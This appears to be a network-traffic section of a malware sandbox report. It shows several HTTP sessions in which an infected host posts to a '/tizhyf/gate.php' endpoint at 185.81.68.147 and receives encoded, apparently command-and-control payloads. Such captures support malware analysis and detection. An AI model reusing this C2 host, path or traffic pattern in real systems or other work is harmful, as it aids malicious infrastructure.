Dec 14, 2024 14:57:22.924518108 CET	1236	IN	Data Raw: 08 46 50 15 4a 51 52 52 41 58 44 54 0a 6b 15 53 5a 47 0f 18 5f 54 31 03 08 03 0b 51 44 51 12 13 5c 39 11 5c 5f 55 52 03 01 5f 15 5e 57 46 0e 6d 17 52 44 47 6b 15 17 47 43 18 16 53 4e 44 58 3a 46 05 09 5e 56 51 04 48 58 15 43 4c 0a 5d 56 0f 10 5a Data Ascii: FPJQRRAXDTkSZG_T1QDQ\9\_UR_^WFmRDGkGCSNDX:F^VQHXCL]VZSQ[UGXZ__BZTY\PBj[RJFZC@YFZRoCRW]TkUXP]VmtccMEFQXXIQR]X]MCPdGTMEnGVAAPXlG=TK_mdAFO_oC8VYYViQGAkXTZS^[:?DZoCUi
Dec 14, 2024 14:57:22.924554110 CET	1236	IN	Data Raw: 06 55 0d 41 58 1c 51 51 4e 0a 0f 53 47 0f 0e 55 5e 41 17 56 59 54 11 45 0b 6c 47 07 11 12 0e 1d 53 4b 4e 05 56 0b 47 07 0d 4d 13 41 17 44 58 67 51 5a 43 44 41 1c 51 5e 59 43 56 5c 5b 50 10 6a 14 0e 45 5a 0d 08 16 45 44 18 0a 02 04 39 11 17 10 5c Data Ascii: UAXQQNSGU^AVYTElGSKNVGMADXgQZCDAQ^YCV\[PjEZED9\A>WiZR\PnROGjQTSjElAo@CZ_@dGD\jX\ABCRGPiUBFWYUNWF?GZ[YDZET][KRk[ZSjES_JZ>AVU8YJ]RYPPT[kvZSSlXVUW
Dec 14, 2024 14:57:22.924592972 CET	1236	IN	Data Raw: 1b 15 52 16 0b 1b 09 41 46 19 17 14 35 3e 13 11 15 11 12 11 17 17 17 15 17 42 07 54 69 53 0a 08 10 03 08 44 12 02 6e 6c 19 45 13 42 43 19 13 41 44 13 6e 35 32 14 13 11 15 11 12 11 17 17 17 15 15 15 19 3b 3c 10 45 46 44 46 46 10 10 18 43 46 19 45 Data Ascii: RAF5>BTiSDnlEBCADn52;<EFDFFCFEBCWRjZ]R\CP^SiWECWoUJK(VXT8YJ]R]XVURYiACSlGXFJk:CFEBCAD]][PRFQ@XZY^HRoCRG\gZF\WT@mTYTFjIYFY@
Dec 14, 2024 14:57:22.924705029 CET	1236	IN	Data Raw: 6c 64 01 56 41 3e 52 4f 05 78 1e 27 54 1e 0c 65 43 00 03 4c 69 6d 50 1e 50 17 6a 0e 15 56 0d 58 45 44 45 0a 10 05 34 55 57 5d 1b 03 4a 45 0e 42 38 19 1c 3d 38 51 1d 74 44 79 4f 5d 41 52 03 18 6c 56 1a 4f 74 18 2a 7c 1b 7e 35 4b 3e 56 4b 09 6d 43 Data Ascii: ldVA>ROx'TeCLimPPjVXEDE4UW]JEB8=8QtDyO]ARlVOt\|~5K>VKmCQSV?eQNhW\_FEEEOePRPSEXF?FIllZK2E9I I{vdklLHiiQ8]DSEUMKBKJ2_P[L[ApY]SZsWSNFF\P_\Q]KU^GtSR_YZQPBFF^W
Dec 14, 2024 14:57:22.924738884 CET	1236	IN	Data Raw: 44 46 46 10 10 18 43 46 19 45 13 42 41 5d 52 15 05 6c 57 5d 5e 5b 41 54 17 0b 12 13 0b 18 43 5c 41 59 07 08 14 1c 68 6c 44 46 46 10 10 18 43 46 19 45 13 42 41 50 5d 0b 01 50 41 1a 02 14 11 0d 46 52 40 58 47 43 09 53 40 5b 01 42 5f 5f 0b 46 16 03 Data Ascii: DFFCFEBA]RlW]^[ATC\AYhlDFFCFEBAP]PAFR@XGCS@[B__F\Q['UrKVVFVQDpQU@TDDRFU_FDSj\VC:DidZhliP\ZOtO~\|+6I<WeTIVo=RomWSTKn?mQH%K.zv3KcU[>BTHEhoSVlTZ[FSD4
Dec 14, 2024 14:57:22.924772024 CET	1236	IN	Data Raw: 6f 54 53 50 53 33 3e 57 4a 5c 37 55 51 56 62 2f 54 73 4a 13 02 00 03 1f 14 14 47 43 4d 0b 12 16 63 75 5a 56 67 4c 5a 74 01 02 12 13 31 32 28 06 71 73 26 37 0b 2d 47 31 08 0d 0b 06 0a 06 47 50 48 76 14 11 48 0a 12 42 52 43 7e 5b 41 50 10 40 57 5c Data Ascii: oTSPS3>WJ\7UQVb/TsJGCMcuZVgLZt12(qs&7-G1GPHvHBRC~[AP@W\MNMF[JUP"U_ WG]KGVB_WFvSSGPFSEIFUO]KPG\A49ADO<=ho<MIknklK5iFE@K_C^KLUXTR]\:?B@D\AJ4oBCQj[WZGT[El:?BE

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	50143	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:21.395478964 CET	283	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 10
Dec 14, 2024 14:57:21.518553972 CET	10	OUT	Data Raw: 21 5c 11 7a 0c 09 5c 50 15 17 Data Ascii: !\z\P
Dec 14, 2024 14:57:23.056086063 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 38 64 61 34 0d 0a 1d 34 6f 3e 68 43 19 13 41 46 46 47 54 67 56 5f 50 56 5a 5e 58 44 43 15 0f 15 6e 42 14 1c 5f 06 15 14 4c 48 1a 12 14 43 44 13 16 4a 0f 00 13 1d 02 0b 5e 1f 1a 14 14 11 1b 56 5d 5b 54 59 43 44 1f 1b 52 0d 59 51 5c 00 48 07 09 0b 1a 12 14 43 44 13 11 56 0e 06 54 56 15 16 4a 1b 55 57 4e 5a 5d 59 50 1c 5e 45 50 1d 17 19 15 40 1c 45 51 03 03 06 14 09 47 43 51 0d 01 17 02 5c 0d 04 55 56 4f 07 5c 58 12 1a 18 13 13 1f 42 57 43 41 5e 54 50 46 1b 0f 59 4c 59 09 0a 05 48 05 5f 5d 12 41 4a 19 47 5a 0c 00 56 5e 08 0a 54 1b 4c 5d 58 56 5c 50 45 40 48 19 5a 58 4f 5c 59 0e 57 18 5f 17 01 46 4a 46 12 1a 5f 0c 09 5e 09 56 14 0a 5d 56 0e 4a 50 5a 55 12 16 1f 11 17 45 40 50 59 44 5b 54 41 50 4c 51 59 5f 02 0a 01 07 16 59 43 16 00 09 54 47 1f 42 41 13 5f 04 0a 50 47 16 57 46 54 1b 17 1d 12 13 1d 5b 58 52 18 40 12 5a 59 51 01 4b 0b 15 48 58 5f 41 0c 10 5c 17 40 07 4d 5a 5c 0c 4e 11 19 18 1a 56 02 1f 5b 54 5e 1f 50 58 58 52 1f 17 4e 16 14 1a 13 48 07 0a 07 42 59 4c 1a 48 54 16 19 40 4f 19 11 4b 00 5d 46 [TRUNCATED] Data Ascii: 8da44o>hCAFFGTgV_PVZ^XDCnB_LHCDJ^V][TYCDRYQ\HCDVTVJUWNZ]YP^EP@EQGCQ\UVO\XBWCA^TPFYLYH_]AJGZV^TL]XV\PE@HZXO\YW_FJF_^V]VJPZUE@PYD[TAPLQY_YCTGBA_PGWFT[XR@ZYQKHX_A\@MZ\NV[T^PXXRNHBYLHT@OK]F[[^OVZXHGLDEZHZ^HAnMi952>;^Y_PVEEknFFcnlEBC>kD>?I<=BEDAV]P\I^TZYZBDPP_GGVG\WEhlDFFCFEM[C^>;@ASR:U^LA\4oBCADc99BM=oFDFFCFEBCCRAYgVVWZCWGCWZEKSDQ9K^OWa]TQ^PAXCDRko<EFDFFCFEBAP]PAYPPT[QZG>UQ;]lCOHGM=FPZV^]TTAB^SR[A\_UQH^EUP]?SJKHU]V]SBDkYTSZol-TwDpTJLQFAS_YTWZDA9AG=FEYL@VC[nlh>F[ldAFW^^eAQgVA^m_PO[R[RAjTV8DFCYB[eGR?GZ^WWFBmmV@AZYDB[:_^:EZ^eAQgVA^mQ]VDDiYD]HB_TCLVZoCDACNU_DP@TVTC\CP_jVHTd]TG
Dec 14, 2024 14:57:23.056138992 CET	224	IN	Data Raw: 12 4c 56 3d 46 0d 09 54 59 56 56 5d 15 57 5d 43 0a 6b 15 50 4d 45 3d 52 57 44 00 3a 46 46 14 46 1d 4c 06 1e 4d 58 6f 40 00 56 5d 07 0d 54 1b 59 48 44 1d 58 51 54 5c 45 5e 51 5e 56 54 41 0b 59 58 1e 0b 13 09 05 0a 59 55 56 17 3a 1b 5b 00 4c 43 05 Data Ascii: LV=FTYVV]W]CkPME=RWD:FFFLMXo@V]TYHDXQT\E^Q^VTAYXYUV:[LC@][TU@Bm]VURYjSSZT9DZ"DUA\CXG]KDR_]VURYXFEFUdA\G>ACGPJVonjkCZCUX:F:D^Y9IlGPd^PM]W_PC_iS
Dec 14, 2024 14:57:23.056334019 CET	1236	IN	Data Raw: 6a 12 45 15 0d 1c 03 0d 6c 1a 52 56 65 47 13 03 16 4d 5c 07 0b 50 40 4b 05 68 11 6d 17 11 53 44 43 58 54 5a 47 47 07 55 42 0d 39 44 0b 00 00 6c 12 18 0a 02 04 39 11 07 1b 49 6c 05 05 47 50 64 1a 14 50 5d 54 42 41 0c 6b 15 51 5a 47 58 4f 55 59 5e Data Ascii: jElRVeGM\P@KhmSDCXTZGGUB9Dl9IlGPdP]TBAkQZGXOUY^F^EUPo@CKELRYM]ATTRFXARiSD[0U]YHV>AQPTR\CmRAAkGBUY:DS_V^KRZ]AQ^]PPAX]_YBXVYSXD9DZRHKWEPJ@\8YYZQ_nSXW]Skvc4C
Dec 14, 2024 14:57:23.056406021 CET	1236	IN	Data Raw: 5c 50 0e 52 6a 12 5b 22 05 12 03 10 54 1f 06 1e 49 0c 41 03 17 50 5c 0f 58 1c 46 48 59 5a 0d 0d 1a 5d 53 53 52 5b 09 09 5c 5b 12 43 42 10 11 1f 14 03 5b 6c 12 4c 06 1e 4d 39 11 42 13 58 47 15 01 41 5b 05 64 16 68 01 18 08 6f 1b 6b 15 17 43 54 59 Data Ascii: \PRj["TIAP\XFHYZ]SSR[\[CB[lLM9BXGA[dhokCTYSlG:FFQ]]^:K<]RoUUK]P_UE_k>C[:?DF_\@dhTDF^TXEGPVj:DY\^:K<]Ro[XRBFnQXEXVXBBD]UJeGEFPJQRRAXDTkSZG
Dec 14, 2024 14:57:23.056438923 CET	1236	IN	Data Raw: 0b 55 42 41 41 5a 0c 16 5f 54 58 3a 46 13 15 55 42 67 0a 02 14 01 56 0e 06 4d 56 3d 46 13 47 57 54 51 0e 6d 17 53 47 45 43 58 59 69 17 15 01 5a 57 43 16 5b 38 44 15 47 5d 67 10 16 4b 0c 47 07 43 4a 44 0c 3b 47 5a 15 5b 58 56 50 47 6d 10 11 56 45 Data Ascii: UBAAZ_TX:FUBgVMV=FGWTQmSGECXYiZWC[8DG]gKGCJD;GZ[XVPGmVE^TYTS\X:F#VQ[\\WP[XZT[EnW@AYXEZ^[J>A[R8YJ]R]XVURYiACSlGXXI@QV]FRUAdA@TGn[Uk{@XD_E"F%QBLZRUAXQQNSGU^A
Dec 14, 2024 14:57:23.056575060 CET	1236	IN	Data Raw: 08 6d 10 53 56 45 6b 17 15 54 10 5f 57 1d 0d 0f 00 02 03 5e 0d 64 41 12 4b 10 56 3e 41 07 0f 4e 17 43 54 56 06 14 0f 5d 54 53 57 5d 17 51 58 47 08 69 40 75 60 66 39 44 5a 25 30 66 0c 17 0f 07 5b 00 5f 5c 43 05 1c 05 0d 45 0b 1a 18 39 39 11 15 11 Data Ascii: mSVEkT_W^dAKV>ANCTV]TSW]QXGi@u`f9DZ%0f[_\CE99BKEFDFFCFEBCADB;:EFDFFCFdh9BCADH5><?N8hEFDFFUGBANDJQTVS[UPXT@XTVVZX@;:EFDFFCFRAF5>
Dec 14, 2024 14:57:23.056607962 CET	1236	IN	Data Raw: 17 40 5a 45 59 54 0c 13 1b 3a 3d 15 15 15 42 16 16 10 45 46 44 46 46 10 12 51 0d 0c 5c 06 47 40 59 19 11 5d 17 50 47 51 48 40 0d 57 40 5f 51 45 5e 58 59 15 47 50 12 5a 57 53 00 27 08 0a 27 54 54 4a 06 15 4a 00 40 4a 0d 5c 44 20 00 57 47 5d 4b 47 Data Ascii: @ZEYT:=BEFDFFQ\G@Y]PGQH@W@_QE^XYGPZWS''TTJJ@J\D WG]KGVBITXYFABUbCC=Jo>hPWnnY_^Opy}yeoSmTQJUM?:[JTNCo=Z[OjolVOt*\|~5K>VKmCQSVJeoKTeP^[BFRC_gPRNSCE[D=FldVA>ROx'TeC
Dec 14, 2024 14:57:23.056642056 CET	1236	IN	Data Raw: 1c 09 15 1f 6c 76 5e 52 67 48 0a 73 00 05 40 40 60 61 2c 00 77 7b 20 37 56 2e 12 63 5b 0c 5b 01 57 50 41 0a 13 7b 14 41 19 08 15 4b 5d 40 7a 5f 41 54 40 47 56 5b 1f 1d 1c 15 5f 08 16 42 00 16 08 07 05 55 71 54 0f 27 5d 01 41 07 10 4a 56 12 4c 5d Data Ascii: lv^RgHs@@`a,w{ 7V.c[[WPA{AK]@z_AT@GV[_BUqT']AJVL]POyPWCPBATDYC5iFEBCADE5>l:=H8h;:EilFAKXC@UST]P^X<=WBXG\DDL5iFE@\Q>\[L]ZGi<=BKhlDFFCFEBA]RlW
Dec 14, 2024 14:57:23.056679010 CET	1236	IN	Data Raw: 02 4a 40 2f 05 5e 50 16 4c 5b 7f 5e 42 54 40 72 56 44 52 1d 1c 1b 0b 58 55 5c 10 02 01 15 4e 17 41 4a 00 09 5d 00 14 4b 4a 19 48 41 01 5f 1b 5b 54 55 40 42 79 58 41 45 19 45 52 58 5a 43 07 1e 55 5c 04 15 17 28 07 5d 55 11 58 46 44 45 4e 4b 58 19 Data Ascii: J@/^PL[^BT@rVDRXU\NAJ]KJHA_[TU@ByXAEERXZCU\(]UXFDENKXNAEP^[BFYR@tQQSECD[FKZES3Hq"WCnVip\|vYNGO[V/B\ 43U`jOF\[XC]]WRUWR^UUTVRRCTLW}V_ggQemD(NoTSPS3>WJ\7UQVb/TsJ
Dec 14, 2024 14:57:23.056714058 CET	1236	IN	Data Raw: 19 0b 5c 06 06 17 47 04 1c 47 76 57 56 40 56 5f 41 11 0f 11 59 58 53 50 1b 41 07 4e 42 73 0a 08 10 03 08 44 1e 4a 06 16 55 04 50 07 4b 4b 56 06 01 4b 19 18 56 51 44 70 51 55 40 54 44 44 52 46 1b 59 16 55 1f 0b 45 1b 4d 5d 46 44 42 40 31 03 5e 00 Data Ascii: \GGvWV@V_AYXSPANBsDJUPKKVKVQDpQU@TDDRFYUEM]FDB@1^KUvT[PATRTJN[RS%_^LMEBVWJGP@Lw\_AT\EEREYTSBJ^]']AJVJGG@LLJ\UHCCtMLC\_O_TKKxZBAT^ErVV]ZWC(CU

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	50144	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:21.399022102 CET	283	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 10
Dec 14, 2024 14:57:21.519618034 CET	10	OUT	Data Raw: 21 5c 11 7a 0c 09 5c 50 15 17 Data Ascii: !\z\P
Dec 14, 2024 14:57:22.967865944 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 38 64 61 34 0d 0a 1d 34 6f 3e 68 43 19 13 41 46 46 47 54 67 56 5f 50 56 5a 5e 58 44 43 15 0f 15 6e 42 14 1c 5f 06 15 14 4c 48 1a 12 14 43 44 13 16 4a 0f 00 13 1d 02 0b 5e 1f 1a 14 14 11 1b 56 5d 5b 54 59 43 44 1f 1b 52 0d 59 51 5c 00 48 07 09 0b 1a 12 14 43 44 13 11 56 0e 06 54 56 15 16 4a 1b 55 57 4e 5a 5d 59 50 1c 5e 45 50 1d 17 19 15 40 1c 45 51 03 03 06 14 09 47 43 51 0d 01 17 02 5c 0d 04 55 56 4f 07 5c 58 12 1a 18 13 13 1f 42 57 43 41 5e 54 50 46 1b 0f 59 4c 59 09 0a 05 48 05 5f 5d 12 41 4a 19 47 5a 0c 00 56 5e 08 0a 54 1b 4c 5d 58 56 5c 50 45 40 48 19 5a 58 4f 5c 59 0e 57 18 5f 17 01 46 4a 46 12 1a 5f 0c 09 5e 09 56 14 0a 5d 56 0e 4a 50 5a 55 12 16 1f 11 17 45 40 50 59 44 5b 54 41 50 4c 51 59 5f 02 0a 01 07 16 59 43 16 00 09 54 47 1f 42 41 13 5f 04 0a 50 47 16 57 46 54 1b 17 1d 12 13 1d 5b 58 52 18 40 12 5a 59 51 01 4b 0b 15 48 58 5f 41 0c 10 5c 17 40 07 4d 5a 5c 0c 4e 11 19 18 1a 56 02 1f 5b 54 5e 1f 50 58 58 52 1f 17 4e 16 14 1a 13 48 07 0a 07 42 59 4c 1a 48 54 16 19 40 4f 19 11 4b 00 5d 46 [TRUNCATED] Data Ascii: 8da44o>hCAFFGTgV_PVZ^XDCnB_LHCDJ^V][TYCDRYQ\HCDVTVJUWNZ]YP^EP@EQGCQ\UVO\XBWCA^TPFYLYH_]AJGZV^TL]XV\PE@HZXO\YW_FJF_^V]VJPZUE@PYD[TAPLQY_YCTGBA_PGWFT[XR@ZYQKHX_A\@MZ\NV[T^PXXRNHBYLHT@OK]F[[^OVZXHGLDEZHZ^HAnMi952>;^Y_PVEEknFFcnlEBC>kD>?I<=BEDAV]P\I^TZYZBDPP_GGVG\WEhlDFFCFEM[C^>;@ASR:U^LA\4oBCADc99BM=oFDFFCFEBCCRAYgVVWZCWGCWZEKSDQ9K^OWa]TQ^PAXCDRko<EFDFFCFEBAP]PAYPPT[QZG>UQ;]lCOHGM=FPZV^]TTAB^SR[A\_UQH^EUP]?SJKHU]V]SBDkYTSZol-TwDpTJLQFAS_YTWZDA9AG=FEYL@VC[nlh>F[ldAFW^^eAQgVA^m_PO[R[RAjTV8DFCYB[eGR?GZ^WWFBmmV@AZYDB[:_^:EZ^eAQgVA^mQ]VDDiYD]HB_TCLVZoCDACNU_DP@TVTC\CP_jVHTd]TG
Dec 14, 2024 14:57:22.967921972 CET	1236	IN	Data Raw: 12 4c 56 3d 46 0d 09 54 59 56 56 5d 15 57 5d 43 0a 6b 15 50 4d 45 3d 52 57 44 00 3a 46 46 14 46 1d 4c 06 1e 4d 58 6f 40 00 56 5d 07 0d 54 1b 59 48 44 1d 58 51 54 5c 45 5e 51 5e 56 54 41 0b 59 58 1e 0b 13 09 05 0a 59 55 56 17 3a 1b 5b 00 4c 43 05 Data Ascii: LV=FTYVV]W]CkPME=RWD:FFFLMXo@V]TYHDXQT\E^Q^VTAYXYUV:[LC@][TU@Bm]VURYjSSZT9DZ"DUA\CXG]KDR_]VURYXFEFUdA\G>ACGPJVonjkCZCUX:F:D^Y9IlGPd^PM]W_PC_iSjElRVeGM\
Dec 14, 2024 14:57:22.967956066 CET	1236	IN	Data Raw: 08 55 6f 40 43 58 46 15 0b 55 5a 5b 4d 47 0e 6d 17 6d 10 11 56 42 43 5a 56 5a 10 44 53 53 11 5b 38 44 09 56 56 64 41 46 50 01 0e 3e 41 5a 52 13 00 6c 5b 4d 55 68 11 11 56 5d 53 42 44 0a 6b 17 53 5a 10 5b 1b 53 0a 08 10 14 09 5c 10 56 16 0b 5c 17 Data Ascii: Uo@CXFUZ[MGmmVBCZVZDSS[8DVVdAFP>AZRl[MUhV]SBDkSZ[S\V\Z?CYTAVGTSRC^APi@PYBH2U\]MBe_X_TZ]XWZCmROEjQBSlGFKDU@[eGP_ZJREH]WT[E[W^TVA\ZXE^DdAXK^IRDPYYKGm]SSR[hS\PRj["TIA
Dec 14, 2024 14:57:22.968106031 CET	1236	IN	Data Raw: 55 05 3f 44 4d 00 4b 16 3f 1b 13 02 08 52 46 4b 05 68 11 42 42 5c 6d 58 59 47 42 41 15 52 10 53 4f 6f 06 14 0b 15 15 10 5e 5f 0a 0b 14 0c 5d 12 16 4d 6f 43 44 52 40 4c 57 57 52 41 5c 45 53 5d 5e 4d 52 08 69 17 0c 59 58 55 39 44 44 07 13 44 5f 5b Data Ascii: U?DMK?RFKhBB\mXYGBARSOo^_]MoCDR@LWWRA\ES]^MRiYXU9DDD_[KP^eUiUAXT^PUR[i!YRUE^DdAFIRQ\VGdmSDCXTZXESBUX:FVlCX_^GYodPGXSSRDVG\SRR[8DC]Vo@CKVZG]\oiUBAAZ_TX:FUBg
Dec 14, 2024 14:57:22.968138933 CET	896	IN	Data Raw: 16 5b 3a 12 10 64 41 46 58 10 47 0d 00 56 5e 11 08 56 41 5d 05 68 11 5e 53 57 6e 13 17 5a 56 4d 59 50 0c 51 42 58 58 3a 46 5e 3a 12 10 59 11 0f 58 48 57 07 10 5a 41 08 06 56 51 5a 41 09 6f 13 5f 42 1f 54 45 45 58 47 69 17 42 44 53 41 10 0f 16 03 Data Ascii: [:dAFXGV^VA]h^SWnZVMYPQBXX:F^:YXHWZAVQZAo_BTEEXGiBDSAl?DEMG\\hDFT@n^SQPYBSlGFUdALGeA_TKKoFF_nDGE\APBEA]:K\UY:ERXQPThtSWSRRECZASS8DXZM]\C@][TU@BmSVEkT_W
Dec 14, 2024 14:57:22.968173027 CET	1236	IN	Data Raw: 08 52 46 4b 05 68 11 45 59 1c 42 43 5e 41 56 41 50 15 01 45 1b 40 04 15 17 05 09 54 55 09 43 15 49 04 1e 0b 0d 49 46 15 49 47 50 40 4c 68 11 11 41 48 42 54 0a 6b 15 41 50 4d 16 6a 14 10 15 0a 05 05 03 58 5f 54 07 03 4b 58 6f 40 26 41 43 08 16 52 Data Ascii: RFKhEYBC^AVAPE@TUCIIFIGP@LhAHBTkAPMjX_TKXo@&ACRAQWZUTEWmZTMYXQD[8DUlCKRO\BAP\hEGDWmVG\TOZWRY:DuHMo@CXFPZUHXVEPnXQQi^RYXX\YZLGARX]hrcgnT[TFF_jDKFQLFZJ@WP
Dec 14, 2024 14:57:22.968205929 CET	1236	IN	Data Raw: 13 55 52 02 01 1b 47 5d 5f 51 4b 1d 15 5f 57 46 76 53 53 47 50 46 11 53 45 1e 00 12 0c 4f 5d 10 4d 11 58 46 55 11 50 30 06 5e 56 19 01 40 1b 5e 57 46 76 50 56 59 1a 43 52 50 52 4d 15 08 5c 16 4d 10 0b 09 00 03 48 44 55 40 17 25 56 0b 47 07 0d 4d Data Ascii: URG]_QK_WFvSSGPFSEO]MXFUP0^V@^WFvPVYCRPRM\MHDU@%VGM\D]Z\]GTMEq^YCR[ASF\NUW]JV"]W@F]K_EVJAGdSWHV_J&Z^VDC]^QTEROCvZ[SXDE[DTUApMVG]HXRRP@TPRO[AwTUCALB
Dec 14, 2024 14:57:22.968240976 CET	1236	IN	Data Raw: 5c 09 13 5f 5d 19 48 41 01 5f 1b 5b 50 5d 5f 55 7b 5e 56 54 44 19 51 5a 47 70 03 55 5e 18 0b 09 00 03 46 0d 0e 18 18 46 50 03 13 4a 0d 56 57 04 4a 5d 5a 5c 5d 60 4a 41 50 11 0f 0c 0a 17 79 5a 51 50 4c 62 73 68 31 39 2a 29 22 75 19 18 18 46 5b 11 Data Ascii: \_]HA_[P]_U{^VTDQZGpU^FFPJVWJ]Z\]`JAPyZQPLbsh19*)"uF[P0^V@^WFvPVYCRPRM\MHDU@%VGM\D]Z\]GTMEq^YCR[ASF\NUW]JV"]W@F]KQEVJPAdSWHV_J&Z^VDC]^QTEROCvZ[SXDE[DTUAp
Dec 14, 2024 14:57:22.968291998 CET	1236	IN	Data Raw: 1d 70 29 4b 77 35 1e 38 53 14 0a 3c 1f 01 00 14 0b 0d 4e 18 69 6d 50 1e 50 17 6a 0e 15 56 0d 58 45 44 45 03 10 0e 34 55 57 5d 1b 03 4a 45 0e 42 38 19 1c 3d 38 51 05 40 63 55 1e 57 74 1c 74 01 1a 0e 6a 4e 01 05 1f 6a 6a 52 4a 01 44 3b 5d 10 53 57 Data Ascii: p)Kw58S<NimPPjVXEDE4UW]JEB8=8Q@cUWttjNjjRJD;]SWME_kVKPKjnmU{IxIBUL=Kqp)Kw58S<NmiSVjVZEB4WU@X9Co=aDLhPKs}{e88WUllZL8BVPV[LEFTGHaT[RTAZG#ZZBLCOHV_J&
Dec 14, 2024 14:57:22.968327045 CET	1236	IN	Data Raw: 44 46 46 12 40 59 17 0e 1b 5f 13 40 49 1b 1f 6c 6e 13 15 18 18 16 44 54 57 6e 51 5e 59 43 52 5b 41 17 58 16 6d 3d 6f 46 44 46 46 10 10 18 43 1d 34 6f 13 42 43 19 13 41 44 13 15 18 18 14 11 55 54 45 53 6e 55 52 51 5a 47 50 40 0c 16 12 59 49 10 0f Data Ascii: DFF@Y_@IlnDTWnQ^YCR[AXm=oFDFFC4oBCADUTESnURQZGP@YI\UAJ4oBCADX[[WRCUDYZ^SLWEAURrYTyPWCPBATDYPBtRDUOKWGBMP3TP@]GjkkUnQkmQHKqp)Kw58R<NimPPiiRW=W

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	50145	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:21.409885883 CET	283	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 10
Dec 14, 2024 14:57:21.538691044 CET	10	OUT	Data Raw: 21 5c 11 7a 0c 09 5c 50 15 17 Data Ascii: !\z\P
Dec 14, 2024 14:57:23.035614967 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 38 64 61 34 0d 0a 1d 34 6f 3e 68 43 19 13 41 46 46 47 54 67 56 5f 50 56 5a 5e 58 44 43 15 0f 15 6e 42 14 1c 5f 06 15 14 4c 48 1a 12 14 43 44 13 16 4a 0f 00 13 1d 02 0b 5e 1f 1a 14 14 11 1b 56 5d 5b 54 59 43 44 1f 1b 52 0d 59 51 5c 00 48 07 09 0b 1a 12 14 43 44 13 11 56 0e 06 54 56 15 16 4a 1b 55 57 4e 5a 5d 59 50 1c 5e 45 50 1d 17 19 15 40 1c 45 51 03 03 06 14 09 47 43 51 0d 01 17 02 5c 0d 04 55 56 4f 07 5c 58 12 1a 18 13 13 1f 42 57 43 41 5e 54 50 46 1b 0f 59 4c 59 09 0a 05 48 05 5f 5d 12 41 4a 19 47 5a 0c 00 56 5e 08 0a 54 1b 4c 5d 58 56 5c 50 45 40 48 19 5a 58 4f 5c 59 0e 57 18 5f 17 01 46 4a 46 12 1a 5f 0c 09 5e 09 56 14 0a 5d 56 0e 4a 50 5a 55 12 16 1f 11 17 45 40 50 59 44 5b 54 41 50 4c 51 59 5f 02 0a 01 07 16 59 43 16 00 09 54 47 1f 42 41 13 5f 04 0a 50 47 16 57 46 54 1b 17 1d 12 13 1d 5b 58 52 18 40 12 5a 59 51 01 4b 0b 15 48 58 5f 41 0c 10 5c 17 40 07 4d 5a 5c 0c 4e 11 19 18 1a 56 02 1f 5b 54 5e 1f 50 58 58 52 1f 17 4e 16 14 1a 13 48 07 0a 07 42 59 4c 1a 48 54 16 19 40 4f 19 11 4b 00 5d 46 [TRUNCATED] Data Ascii: 8da44o>hCAFFGTgV_PVZ^XDCnB_LHCDJ^V][TYCDRYQ\HCDVTVJUWNZ]YP^EP@EQGCQ\UVO\XBWCA^TPFYLYH_]AJGZV^TL]XV\PE@HZXO\YW_FJF_^V]VJPZUE@PYD[TAPLQY_YCTGBA_PGWFT[XR@ZYQKHX_A\@MZ\NV[T^PXXRNHBYLHT@OK]F[[^OVZXHGLDEZHZ^HAnMi952>;^Y_PVEEknFFcnlEBC>kD>?I<=BEDAV]P\I^TZYZBDPP_GGVG\WEhlDFFCFEM[C^>;@ASR:U^LA\4oBCADc99BM=oFDFFCFEBCCRAYgVVWZCWGCWZEKSDQ9K^OWa]TQ^PAXCDRko<EFDFFCFEBAP]PAYPPT[QZG>UQ;]lCOHGM=FPZV^]TTAB^SR[A\_UQH^EUP]?SJKHU]V]SBDkYTSZol-TwDpTJLQFAS_YTWZDA9AG=FEYL@VC[nlh>F[ldAFW^^eAQgVA^m_PO[R[RAjTV8DFCYB[eGR?GZ^WWFBmmV@AZYDB[:_^:EZ^eAQgVA^mQ]VDDiYD]HB_TCLVZoCDACNU_DP@TVTC\CP_jVHTd]TG
